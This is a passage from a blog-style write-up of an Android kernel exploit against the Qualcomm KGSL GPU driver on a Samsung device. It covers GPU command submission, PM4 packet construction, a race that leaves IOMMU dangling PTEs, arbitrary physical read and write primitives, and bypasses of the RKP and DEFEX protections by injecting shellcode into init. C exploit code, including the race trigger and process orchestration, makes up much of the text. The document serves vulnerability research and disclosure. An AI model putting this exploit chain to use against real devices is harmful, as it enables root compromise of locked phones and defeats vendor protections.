               <span class="n">MAP_SHARED</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="p">((</span><span class="kt">off_t</span><span class="p">)</span><span class="n">dst_id</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="submit-ioctl_kgsl_gpu_command"><strong>Submit: <code class="language-plaintext highlighter-rouge">IOCTL_KGSL_GPU_COMMAND</code></strong></h3>

<p>Stage to instruct GPU to execute IB</p>

<ol>
  <li>Pass IB information to <code class="language-plaintext highlighter-rouge">cmdlist[]</code> in <code class="language-plaintext highlighter-rouge">{ gpuaddr, size, flags, id }</code> format</li>
  <li>Submit with specified <code class="language-plaintext highlighter-rouge">context_id</code></li>
  <li>Receive timestamp on success</li>
</ol>

<p>Timestamp is a handle to track GPU execution progress of the batch.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">kgsl_drawctxt_create</span> <span class="n">ctx</span> <span class="o">=</span> <span class="p">{</span>
        <span class="p">.</span><span class="n">flags</span> <span class="o">=</span> <span class="n">KGSL_CONTEXT_PREAMBLE</span> <span class="o">|</span> <span class="n">KGSL_CONTEXT_NO_GMEM_ALLOC</span>
    <span class="p">};</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">IOCTL_KGSL_DRAWCTXT_CREATE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ctx</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="p">}</span>
    <span class="n">ctx_id</span> <span class="o">=</span> <span class="n">ctx</span><span class="p">.</span><span class="n">drawctxt_id</span><span class="p">;</span>

    <span class="k">struct</span> <span class="n">kgsl_gpuobj_alloc</span> <span class="n">ib_alloc</span> <span class="o">=</span> <span class="p">{</span>
        <span class="p">.</span><span class="n">size</span>  <span class="o">=</span> <span class="n">PAGE_SIZE</span> <span class="o">*</span> <span class="mi">8</span><span class="p">,</span>
        <span class="p">.</span><span class="n">flags</span> <span class="o">=</span> <span class="n">KGSL_MEMFLAGS_USE_CPU_MAP</span>
    <span class="p">};</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">IOCTL_KGSL_GPUOBJ_ALLOC</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ib_alloc</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">goto</span> <span class="n">cleanup</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">ib_id</span> <span class="o">=</span> <span class="n">ib_alloc</span><span class="p">.</span><span class="n">id</span><span class="p">;</span>
    <span class="n">ib_vma</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">ib_alloc</span><span class="p">.</span><span class="n">mmapsize</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">,</span>
                  <span class="n">MAP_SHARED</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="p">((</span><span class="kt">off_t</span><span class="p">)</span><span class="n">ib_id</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span><span class="p">);</span>

    <span class="k">struct</span> <span class="n">kgsl_gpuobj_info</span> <span class="n">info</span> <span class="o">=</span> <span class="p">{</span> <span class="p">.</span><span class="n">id</span> <span class="o">=</span> <span class="n">ib_id</span> <span class="p">};</span>
    <span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">IOCTL_KGSL_GPUOBJ_INFO</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">info</span><span class="p">);</span>
    <span class="n">ib_gpu</span> <span class="o">=</span> <span class="n">info</span><span class="p">.</span><span class="n">gpuaddr</span><span class="p">;</span>
    
    
    <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">cmd</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span> <span class="o">*</span><span class="p">)</span><span class="n">ib_vma</span><span class="p">;</span>
	  <span class="n">cmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">cp_type7_packet</span><span class="p">(</span><span class="n">CP_NOP</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

    <span class="kt">size_t</span> <span class="n">ib_bytes</span> <span class="o">=</span> <span class="p">(</span><span class="kt">size_t</span><span class="p">)</span><span class="n">dw</span> <span class="o">*</span> <span class="mi">4</span><span class="p">;</span>

    <span class="k">struct</span> <span class="n">kgsl_command_object</span> <span class="n">cmd_obj</span> <span class="o">=</span> <span class="p">{</span>
        <span class="p">.</span><span class="n">gpuaddr</span> <span class="o">=</span> <span class="n">ib_gpu</span><span class="p">,</span>
        <span class="p">.</span><span class="n">size</span>    <span class="o">=</span> <span class="n">ib_bytes</span><span class="p">,</span>
        <span class="p">.</span><span class="n">flags</span>   <span class="o">=</span> <span class="n">KGSL_CMDLIST_IB</span><span class="p">,</span>
        <span class="p">.</span><span class="n">id</span>      <span class="o">=</span> <span class="n">ib_id</span>
    <span class="p">};</span>

    <span class="k">struct</span> <span class="n">kgsl_gpu_command</span> <span class="n">gpu_cmd</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
    <span class="n">gpu_cmd</span><span class="p">.</span><span class="n">cmdlist</span>    <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="o">&amp;</span><span class="n">cmd_obj</span><span class="p">;</span>
    <span class="n">gpu_cmd</span><span class="p">.</span><span class="n">cmdsize</span>    <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">cmd_obj</span><span class="p">);</span>
    <span class="n">gpu_cmd</span><span class="p">.</span><span class="n">numcmds</span>    <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="n">gpu_cmd</span><span class="p">.</span><span class="n">context_id</span> <span class="o">=</span> <span class="n">ctx_id</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">IOCTL_KGSL_GPU_COMMAND</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">gpu_cmd</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</code></pre></div></div>

<h3 id="polling-ioctl_kgsl_cmdstream_readtimestamp_ctxtid"><strong>Polling: <code class="language-plaintext highlighter-rouge">IOCTL_KGSL_CMDSTREAM_READTIMESTAMP_CTXTID</code></strong></h3>

<p>GPU execution is asynchronous, so polling is needed to check completion</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">wait_timestamp</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">ctx_id</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">target</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">struct</span> <span class="n">kgsl_cmdstream_readtimestamp_ctxtid</span> <span class="n">r</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
    <span class="n">r</span><span class="p">.</span><span class="n">context_id</span> <span class="o">=</span> <span class="n">ctx_id</span><span class="p">;</span> 
    <span class="n">r</span><span class="p">.</span><span class="n">type</span> <span class="o">=</span> <span class="n">KGSL_TIMESTAMP_RETIRED</span><span class="p">;</span>
    
    <span class="k">for</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="n">spins</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">spins</span><span class="o">&lt;</span><span class="mi">100000</span><span class="p">;</span> <span class="o">++</span><span class="n">spins</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">IOCTL_KGSL_CMDSTREAM_READTIMESTAMP_CTXTID</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">r</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> 
            <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">timestamp</span> <span class="o">&gt;=</span> <span class="n">target</span><span class="p">)</span> 
            <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">usleep</span><span class="p">(</span><span class="mi">100</span><span class="p">);</span> 
    <span class="p">}</span>
    <span class="k">return</span> <span class="o">-</span><span class="mi">2</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="b-gpu-cp-command-stream-pm4">(B) GPU CP command stream (PM4)</h2>

<h3 id="pm4-packet-structure"><strong>PM4 packet structure</strong></h3>

<p>IB (Indirect Buffer) is a 32-bit dword array, with PM4 packets sequentially placed inside.</p>

<p>GPU’s Command Processor (CP) reads this via DMA, parses the header to identify opcode and payload size, then executes.</p>

<h3 id="type-7-packet"><strong>Type-7 packet</strong></h3>

<p>Type-7 packet structure mainly used in exploit code</p>

<p><code class="language-plaintext highlighter-rouge">[Header: 1 dword] [Payload: cnt dwords]</code></p>

<p><strong>Header composition (1 dword)</strong></p>

<p><code class="language-plaintext highlighter-rouge">type7</code>: Packet type identifier</p>

<p><code class="language-plaintext highlighter-rouge">opcode</code>: Type of command to execute</p>

<p><code class="language-plaintext highlighter-rouge">cnt</code>: Number of payload dwords that follow</p>

<p><code class="language-plaintext highlighter-rouge">parity</code>: Packet integrity verification bit</p>

<p><strong>Payload (cnt dwords)</strong></p>

<p>Meaning varies by opcode</p>

<p>Examples: address, value, flags, etc.</p>

<p>CPU writes PM4 packets into memory, and GPU CP fetches and executes them.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="kt">uint32_t</span> <span class="nf">cp_type7_packet</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="n">opcode</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">cnt</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">return</span> <span class="p">(</span><span class="mi">7u</span> <span class="o">&lt;&lt;</span> <span class="mi">28</span><span class="p">)</span>
         <span class="o">|</span> <span class="p">((</span><span class="n">cnt</span> <span class="o">&amp;</span> <span class="mh">0x3FFFu</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">0</span><span class="p">)</span>
         <span class="o">|</span> <span class="p">(</span><span class="n">pm4_calc_odd_parity_bit</span><span class="p">(</span><span class="n">cnt</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">15</span><span class="p">)</span>
         <span class="o">|</span> <span class="p">((</span><span class="n">opcode</span> <span class="o">&amp;</span> <span class="mh">0x7Fu</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span><span class="p">)</span>
         <span class="o">|</span> <span class="p">(</span><span class="n">pm4_calc_odd_parity_bit</span><span class="p">(</span><span class="n">opcode</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">23</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="pm4-opcodes-used-in-exploit-code"><strong>PM4 opcodes used in exploit code</strong></h3>

<h3 id="cp_mem_write-write-primitive"><strong>CP_MEM_WRITE (write primitive)</strong></h3>

<p><strong>Write specific value to specific address</strong></p>

<p>Payload typically contains</p>

<ol>
  <li>dst address (64-bit as lo/hi)</li>
  <li>value (32-bit)</li>
</ol>

<p>Here dst is GPU VA. This means KGSL must have mapped that GPU VA via IOMMU.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">cp_type7_packet</span><span class="p">(</span><span class="n">CP_MEM_WRITE</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span>
<span class="n">wcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">dst_lo</span><span class="p">;</span>
<span class="n">wcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">dst_hi</span><span class="p">;</span>
<span class="n">wcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">value</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="cp_mem_to_mem-copy--read-primitive"><strong>CP_MEM_TO_MEM (copy / read primitive)</strong></h3>

<p><strong>Read from src and copy to dst</strong></p>

<p>Used as typical read primitive for CPU to read</p>

<p>Payload typically contains</p>

<ol>
  <li>Control field</li>
  <li>dst address (lo/hi)</li>
  <li>src address (lo/hi)</li>
</ol>

<p><code class="language-plaintext highlighter-rouge">CP_MEM_TO_MEM = src GPU VA -&gt; dst GPU VA copy</code></p>

<p>This enables dumping from arbitrary addresses within GPU-readable range.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">vcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">cp_type7_packet</span><span class="p">(</span><span class="n">CP_MEM_TO_MEM</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>
<span class="n">vcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x00000000</span><span class="p">;</span> <span class="c1">//control: 0x0 -&gt; 32bit mode</span>
<span class="n">vcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">dst_lo</span><span class="p">;</span>
<span class="n">vcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">dst_hi</span><span class="p">;</span>
<span class="n">vcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">src_lo</span><span class="p">;</span>
<span class="n">vcmd</span><span class="p">[</span><span class="n">dw</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">src_hi</span><span class="p">;</span>
</code></pre></div></div>

<h1 id="4-exploit">4) Exploit</h1>

<h2 id="41-bug-trigger--primitives">4.1 Bug Trigger &amp; Primitives</h2>

<p><strong>Memory Layout</strong></p>

<p>The address layout follows the configuration described in the Google Project Zero blog (with a minor size adjustment due to memory constraints during the spray phase).</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>OVERLAP:        0x7001fe000 -&gt; 0x700205000 (size: 0x7000)
UAF:            0x7001ff000 -&gt; 0x710203000 (size: 0x10004000)
BOGUS:          0x700204000 -&gt; 0x700101000 (size: 0xffffffffffefd000)
PLACEHOLDER:    0x710204000 -&gt; 0x720604000 (size: 0x10400000 -&gt; 0x10000 )
</code></pre></div></div>

<p><strong>Trigger the bug</strong></p>

<p>With UAF and PLACEHOLDER mapped according to the layout above, when inserting the BOGUS range, the gpuaddr + size wrap-around breaks the rbtree’s overlap check.</p>

<p>During that brief window (while BOGUS still exists in the rbtree), if the OVERLAP range is inserted, the overlap with UAF goes undetected. Subsequently, when OVERLAP is mapped while BOGUS still exists in the rbtree, it fails due to the existing (UAF) PTE.</p>

<p>However, the code does not check for this failure and still increments the mapped PTE count, causing unmap to additionally delete the first IOMMU PTE of UAF (setting it to 0).</p>

<p>In this state, when UAF is freed, the unmap path stops at the first zero PTE, leaving the remaining IOMMU PTEs intact while the physical pages are freed and returned to the kernel, resulting in IOMMU dangling PTEs.</p>

<p><strong>Primitives</strong></p>

<p>With the IOMMU-side dangling PTE, when the physical page corresponding to the PTE is reused as an object</p>

<ol>
  <li>Arbitrary Physical Read is possible through CP_MEM_TO_MEM</li>
  <li>Arbitrary Physical Write is possible through CP_MEM_WRITE</li>
</ol>

<h2 id="42-exploitation-challenges-bypasses-rkp-and-defex">4.2 Exploitation Challenges: Bypasses RKP and DEFEX</h2>

<h3 id="1-slab-metadata-forgery">1. Slab Metadata Forgery</h3>

<p>https://i.blackhat.com/BH-US-23/Presentations/US-23-Lin-bad_io_uring-wp.pdf</p>

<p><strong>In the above publication</strong></p>

<p>credential validation was performed via</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">security_integrity_current</span><span class="p">()</span>
<span class="n">is_kdp_invalid_cred_sp</span><span class="p">(</span><span class="n">cred</span><span class="p">,</span> <span class="n">cred</span><span class="o">-&gt;</span><span class="n">security</span><span class="p">)</span> 
</code></pre></div></div>

<p>This checked whether pointers were in protected cred/tsec regions using <code class="language-plaintext highlighter-rouge">is_kdp_protect_addr(cred/cred+size, sec_ptr/sec_ptr+size)</code></p>

<p><strong>The core validation logic was</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">page</span> <span class="o">=</span> <span class="n">virt_to_head_page</span><span class="p">(</span><span class="n">objp</span><span class="p">)</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">page</span><span class="o">-&gt;</span><span class="n">slab_cache</span>
<span class="k">if</span> <span class="p">(</span><span class="n">s</span> <span class="o">==</span> <span class="n">cred_jar_ro</span> <span class="o">||</span> <span class="n">s</span> <span class="o">==</span> <span class="n">tsec_jar</span><span class="p">)</span>
</code></pre></div></div>

<p>The protection decision was based on <strong>slab page metadata</strong> rather than actual protection state. If the metadata could be corrupted, an attacker could forge <code class="language-plaintext highlighter-rouge">slab_cache</code> to point to <code class="language-plaintext highlighter-rouge">cred_jar_ro</code>/<code class="language-plaintext highlighter-rouge">tsec_jar</code>, allowing fake credentials to pass validation as protected objects.</p>

<h3 id="current-target-metadata-forgery-no-longer-works"><strong>Current Target: Metadata Forgery No Longer Works</strong></h3>

<p>On the current target device, validation uses</p>

<p><code class="language-plaintext highlighter-rouge">rkp_is_valid_cred_sp((u64)current_cred(), (u64)current_cred()-&gt;security)</code></p>

<p><strong>The key checks are</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">rkp_ro_page</span><span class="p">(</span><span class="n">cred</span><span class="p">)</span>
<span class="p">...</span>
<span class="n">rkp_ro_page</span><span class="p">(</span><span class="n">cred</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">cred</span><span class="p">))</span>
<span class="p">..</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">rkp_ro_page()</code> does <strong>not</strong> rely on metadata like “slab cache name”. Instead, it chains through <code class="language-plaintext highlighter-rouge">rkp_is_pg_protected()</code> and ultimately validates using</p>

<p><code class="language-plaintext highlighter-rouge">rkp_check_bitmap(__pa(addr), rkp_s_bitmap_ro, ...)</code></p>

<p>Validation is now based on the RO bitmap (protection state set by the hypervisor), not slab metadata. Simply forging slab metadata can no longer trick the system into accepting fake credentials as protected objects, making this bypass technique infeasible on the current target.</p>

<h3 id="2-the-orderly_poweroff-method">2. The <code class="language-plaintext highlighter-rouge">orderly_poweroff</code> Method</h3>

<p>https://blackhat.com/docs/us-17/thursday/us-17-Shen-Defeating-Samsung-KNOX-With-Zero-Privilege.pdf</p>

<p><strong>In the above publication</strong>, the exploit overwrote function pointers in <code class="language-plaintext highlighter-rouge">ptmx_fops</code> to directly call <code class="language-plaintext highlighter-rouge">orderly_poweroff()</code>, and gained control by overwriting the writable <code class="language-plaintext highlighter-rouge">poweroff_cmd</code> string.</p>

<p>However, on the current target device, <code class="language-plaintext highlighter-rouge">ptmx_fops</code> is marked as <code class="language-plaintext highlighter-rouge">__ro_after_init</code>, making ops overwrite infeasible.</p>

<p>Instead, I successfully</p>

<ol>
  <li>Leaked <code class="language-plaintext highlighter-rouge">task_struct</code> addresses using values like <code class="language-plaintext highlighter-rouge">task_struct-&gt;next-&gt;prev</code></li>
  <li>Overwrote <code class="language-plaintext highlighter-rouge">restart_block-&gt;fn</code> with <code class="language-plaintext highlighter-rouge">orderly_poweroff()</code></li>
  <li>Overwrote <code class="language-plaintext highlighter-rouge">poweroff_cmd</code> to gain control</li>
  <li>Executed arbitrary scripts with root privileges on an <strong>unlocked device</strong></li>
</ol>

<h3 id="defex-restrictions-on-locked-devices">DEFEX Restrictions on Locked Devices</h3>

<p>However, on <strong>locked devices</strong>, DEFEX prevents execution of scripts that are not in the predefined whitelist with root privileges. Additionally, since <code class="language-plaintext highlighter-rouge">sh</code> is not in the whitelist, obtaining a shell is impossible.</p>

<h3 id="defex-bypass-via-pid-1">DEFEX Bypass via PID 1</h3>

<p>Examining the code below reveals that when <code class="language-plaintext highlighter-rouge">pid == 1</code>, <code class="language-plaintext highlighter-rouge">task_defex_enforce()</code> immediately returns <code class="language-plaintext highlighter-rouge">0</code>, meaning DEFEX does not block execution regardless of root status</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define DEFEX_ALLOW 0
</span><span class="p">...</span>

<span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">DEFEX_ALLOW</span><span class="p">;</span>
<span class="p">...</span>

<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">p</span> <span class="o">||</span> <span class="n">p</span><span class="o">-&gt;</span><span class="n">pid</span> <span class="o">==</span> <span class="mi">1</span> <span class="o">||</span> <span class="o">!</span><span class="n">p</span><span class="o">-&gt;</span><span class="n">mm</span> <span class="o">||</span> <span class="o">!</span><span class="n">is_task_used</span><span class="p">(</span><span class="n">p</span><span class="p">))</span>
    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>

<span class="p">...</span>

<span class="n">retval</span> <span class="o">=</span> <span class="n">task_defex_enforce</span><span class="p">(</span><span class="n">current</span><span class="p">,</span> <span class="n">file</span><span class="p">,</span> <span class="o">-</span><span class="n">__NR_execve</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">retval</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="p">...</span>
    <span class="n">retval</span> <span class="o">=</span> <span class="o">-</span><span class="n">EPERM</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="3-the-breakthrough-targeting-init-pid-1">3. The Breakthrough: Targeting <code class="language-plaintext highlighter-rouge">init</code> (PID 1)</h3>

<p>https://soez.github.io/posts/CVE-2022-22265-Samsung-npu-driver/</p>

<p>From above blog post, I learned that by overwriting <code class="language-plaintext highlighter-rouge">Logline()</code> in init’s <code class="language-plaintext highlighter-rouge">libbase.so</code> with shellcode, it’s possible to cleanly execute code as <code class="language-plaintext highlighter-rouge">pid == 1</code>.</p>

<p>Even though page tables are marked as <code class="language-plaintext highlighter-rouge">rkp_ro</code>, they can still be manipulated by allocating pages to the IOMMU UAF region via mmap spray. This enables bypassing both <strong>RKP</strong> and <strong>DEFEX</strong>.</p>

<h2 id="43-entire-flow">4.3 Entire Flow</h2>

<h3 id="stage-1-setting--trigger--iommu-dangling-pte"><strong>Stage 1: Setting &amp; Trigger  (IOMMU dangling PTE)</strong></h3>

<ol>
  <li>Prepare a preliminary orphan process for invoking LogLine, shellcode, and a shared buffer to be used for communication with child processes.</li>
</ol>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">pid</span> <span class="o">=</span> <span class="n">fork</span><span class="p">();</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pid</span><span class="p">)</span> <span class="p">{</span>
        <span class="kt">int</span> <span class="n">pid2</span> <span class="o">=</span> <span class="n">fork</span><span class="p">();</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pid2</span><span class="p">){</span>
            <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">){</span>
                <span class="k">if</span><span class="p">(</span><span class="n">gbuf</span><span class="p">[</span><span class="n">FOUND_PID</span><span class="p">]</span><span class="o">==</span><span class="mh">0x12</span><span class="p">){</span>
                    <span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
                    <span class="n">gbuf</span><span class="p">[</span><span class="n">CALL_LOGLINE</span><span class="p">]</span><span class="o">=</span><span class="mh">0x11</span><span class="p">;</span> <span class="c1">//pid2's ppid have to be 1 (init)</span>
                    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
                <span class="p">}</span>
                <span class="n">usleep</span><span class="p">(</span><span class="mi">100000</span><span class="p">);</span>
                
            <span class="p">}</span>
        <span class="p">}</span>
        <span class="k">else</span><span class="p">{</span>
            <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">){</span>
                <span class="k">if</span><span class="p">(</span><span class="n">gbuf</span><span class="p">[</span><span class="n">FOUND_PID</span><span class="p">]</span><span class="o">==</span><span class="mh">0x11</span><span class="p">){</span>
                    <span class="n">gbuf</span><span class="p">[</span><span class="n">FOUND_PID</span><span class="p">]</span><span class="o">=</span><span class="mh">0x12</span><span class="p">;</span>
                    <span class="n">_exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
                <span class="p">}</span>
                <span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
            <span class="p">}</span> 
        <span class="p">}</span>
</code></pre></div></div>

<ol>
  <li>Allocate everything except bogus using <code class="language-plaintext highlighter-rouge">IOCTL_KGSL_GPUOBJ_ALLOC</code> (KGSL_MEMFLAGS_USE_CPU_MAP). (For bogus, it must be allocated with <code class="language-plaintext highlighter-rouge">IOCTL_KGSL_MAP_USER_MEM</code> (KGSL_MEMFLAGS_USE_CPU_MAP).)</li>
  <li>For uaf, perform <code class="language-plaintext highlighter-rouge">mmap(...fd)</code> at a predetermined address to insert it into the rbtree, then unmap it for later bogus insertion. (At this point, uaf is not removed from the rbtree.)</li>
</ol>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="o">*</span><span class="nf">mmap_gpuobj_fixed</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">id</span><span class="p">,</span> <span class="kt">uint64_t</span> <span class="n">mmapsize</span><span class="p">,</span> 
                                <span class="kt">void</span> <span class="o">*</span><span class="n">fixed_addr</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">off_t</span> <span class="n">offset</span> <span class="o">=</span> <span class="p">((</span><span class="kt">off_t</span><span class="p">)</span><span class="n">id</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span><span class="p">;</span>
    <span class="kt">size_t</span> <span class="n">len</span> <span class="o">=</span> <span class="n">mmapsize</span><span class="p">;</span>
    <span class="kt">void</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="n">fixed_addr</span><span class="p">,</span> <span class="n">len</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">,</span> <span class="n">MAP_SHARED</span> <span class="o">|</span> <span class="n">MAP_FIXED</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="n">offset</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">p</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<ol>
  <li>Similarly for placeholder, perform <code class="language-plaintext highlighter-rouge">mmap(...fd)</code> to insert it into the rbtree.</li>
  <li>In <code class="language-plaintext highlighter-rouge">pthread_create(&amp;bogus_thread, NULL, bogus_racer, &amp;rs);</code>, trigger a race condition where <code class="language-plaintext highlighter-rouge">IOCTL_KGSL_MAP_USER_MEM</code> is called with a size that causes integer overflow to register bogus in the rbtree, and during the time window between when kgsl_malloc fails and bogus is removed from the rbtree, overlap is registered in the rbtree via <code class="language-plaintext highlighter-rouge">mmap(...fd)</code>.</li>
</ol>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="o">*</span><span class="nf">bogus_racer</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">arg</span><span class="p">)</span>
<span class="p">{</span>
		<span class="p">...</span>
    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">ioctl</span><span class="p">(</span><span class="n">rs</span><span class="o">-&gt;</span><span class="n">fd</span><span class="p">,</span> <span class="n">IOCTL_KGSL_MAP_USER_MEM</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">req</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">pthread_create</span><span class="p">(</span><span class="o">&amp;</span><span class="n">bogus_thread</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">bogus_racer</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">rs</span><span class="p">);</span>
 <span class="p">...</span>
<span class="c1">// Race window delay </span>
<span class="n">usleep</span><span class="p">(</span><span class="mi">200</span><span class="p">);</span>
<span class="n">overlap_vma</span> <span class="o">=</span> <span class="n">mmap_gpuobj_fixed</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">overlap_id</span><span class="p">,</span> <span class="n">overlap_mmapsize</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">OVERLAP_START</span><span class="p">);</span>
